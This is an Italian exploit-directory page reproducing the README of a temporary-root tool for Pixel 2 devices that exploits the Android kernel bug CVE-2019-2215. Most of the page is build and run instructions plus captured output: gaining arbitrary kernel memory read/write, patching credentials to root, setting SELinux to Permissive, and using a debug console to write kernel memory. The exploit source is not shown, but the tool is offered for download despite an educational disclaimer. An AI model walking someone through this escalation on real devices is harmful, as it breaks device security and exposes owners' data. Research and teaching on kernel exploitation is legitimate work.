Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2019-2215 — Temproot per Pixel 2 e Pixel 2 XL tramite CVE-2019-2215 | Kitploit
Strumenti/GitHubGitHub/kangtastic/cve-2019-2215
Sicurezza AndroidEscalation di PrivilegiMemory ForensicsExploitDebuggerApprendimento e FormazioneBinary Exploitation
GitHubkangtastic/cve-2019-2215

cve-2019-2215

Temproot per Pixel 2 e Pixel 2 XL tramite CVE-2019-2215

Vedi Repository
1345536 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-2215

Temproot per Pixel 2 e Pixel 2 XL tramite CVE-2019-2215

(Basato su un proof-of-concept di Jann Horn e Maddie Stone di Google Project Zero)


Panoramica

Dimostrazione di un attacco di escalation dei privilegi che utilizza solo lettura/scrittura della memoria del kernel, che si conclude con una shell root temporanea.

Funziona sui dispositivi Google Pixel 2/Pixel 2 XL (walleye/taimen) che eseguono l'immagine QP1A.190711.020 di settembre 2019 con la versione del kernel-BuildID 4.4.177-g83bee1dc48e8.

Affinché questo strumento funzioni su altri dispositivi e/o kernel affetti dalla stessa vulnerabilità, è necessario trovare e modificare alcuni offset. Come menzionato nel bugtracker di Project Zero, non è eccessivamente difficile.

È inclusa anche una mini console di debug che fornisce un'interfaccia simile a un editor esadecimale per interagire con la memoria del kernel e la possibilità di avviare una shell.

Avvertenze

  • Questo strumento e il suo codice sorgente sono resi disponibili solo per scopi documentativi ed educativi.

  • Non utilizzare questo strumento. È una cattiva idea.

  • Aiuto, supporto, aggiornamenti—nessuno.

Compilazione

Per comodità, è incluso un Makefile che funziona con la toolchain del compilatore incrociato di Android NDK r19 o superiore.

root@kitploit:~
# Download the Android NDK.
user@host:~$ wget https://dl.google.com/android/repository/android-ndk-r20-linux-x86_64.zip

# Extract the NDK and set its path as $ANDROID_NDK_HOME.
user@host:~$ unzip android-ndk-r20-linux-x86_64.zip
user@host:~$ rm android-ndk-r20-linux-x86_64.zip  # optional
user@host:~$ export ANDROID_NDK_HOME=~/android-ndk-r20

# Clone the `cve-2019-2215` git repository and `cd` into it.
user@host:~$ git clone https://github.com/kangtastic/cve-2019-2215.git
user@host:~$ cd cve-2019-2215

# Compile the binary.
user@host:~/cve-2019-2215$ make all  # all, clean, debug, debug-static, static, strip
user@host:~/cve-2019-2215$ file cve-2019-2215
cve-2019-2215: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /system/, stripped

Utilizzo

(output di esempio catturati su un Pixel 2 XL tramite adb)

Temproot

Una volta compilato il binario, trasferiscilo sul dispositivo, rendilo eseguibile ed eseguilo. (Un posto in /data/ dovrebbe funzionare.)

Esempio

root@kitploit:~
taimen:/ $ cd /data/local/tmp
taimen:/data/local/tmp $ install -m 755 /sdcard/cve-2019-2215 ./
taimen:/data/local/tmp $ ./cve-2019-2215
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
[+] bypass SELinux and patch current credentials
taimen:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:kernel:s0
taimen:/data/local/tmp # getenforce
Permissive
taimen:/data/local/tmp # exit
taimen:/data/local/tmp $

Il successo non è garantito e il dispositivo potrebbe addirittura crashare, ma di solito SELinux viene impostato su Permissive e viene avviata una shell root.

Console di debug

Passa debug come unico argomento da riga di comando per avviare una mini console di debug invece della routine di escalation dei privilegi dopo aver ottenuto la R/W del kernel.

Riferimento comandi

root@kitploit:~
debug> help
quick help
    print
        print kernel base address, some kernel symbol offsets,
        and address of current task_struct as hexstrings
    read <kaddr> <len>
        read <len> bytes from <kaddr> and display as a hexdump
        <kaddr> is a hexstring not prefixed with 0x
        <len> is 1-4096 or 0x1-0x1000
    write <kaddr> <data>
        write <data> to <kaddr>
        <kaddr> is a hexstring not prefixed with 0x
        <data> is 1-4096 hexbytes, spaces ignored, to be written *AS-IS*
        e.g. if kaddr 0xffffffffdeadbeef contains an int, and you want to set
        its value to 1, enter 'write ffffffffdeadbeef <data>', where <data> is
        '01000000', '0100 0000', '01 00 0 0 00', etc. (our ARM is little-endian)
    shell
        launch a shell (hint: did we ~somehow~ become another user? :P)
    help
        print this help
    exit
        exit debug console

Esempio

Imposta SELinux da Permissive a Enforcing come utente non privilegiato.

root@kitploit:~
taimen:/data/local/tmp $ getenforce
Permissive
taimen:/data/local/tmp $ ./cve-2019-2215 debug
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
launching debug console, enter 'help' for quick help
debug> print
ffffff9bad880000 kernel_base
ffffff9baf8a57d0 init_task
ffffff9baf8af2c8 init_user_ns
ffffff9baf8e3780 selinux_enabled
ffffff9bafc4e4a8 selinux_enforcing
ffffffe6b2942b80 current
debug> read ffffff9bafc4e4a8 35
ffffff9bafc4e4a8: 0000 0000 0100 0000 002e 40b9 faff ffff  ..........@.....
ffffff9bafc4e4b8: 0023 40b9 faff ffff 0000 0000 0000 0000  .#@.............
ffffff9bafc4e4c8: 0000 00                                  ...
debug> write ffffff9bafc4e4a8 01 00 00 00
debug> read ffffff9bafc4e4a8 4
ffffff9bafc4e4a8: 0100 0000                                ....
debug> exit
taimen:/data/local/tmp $ getenforce
Enforcing
taimen:/data/local/tmp $
Scarica lo strumento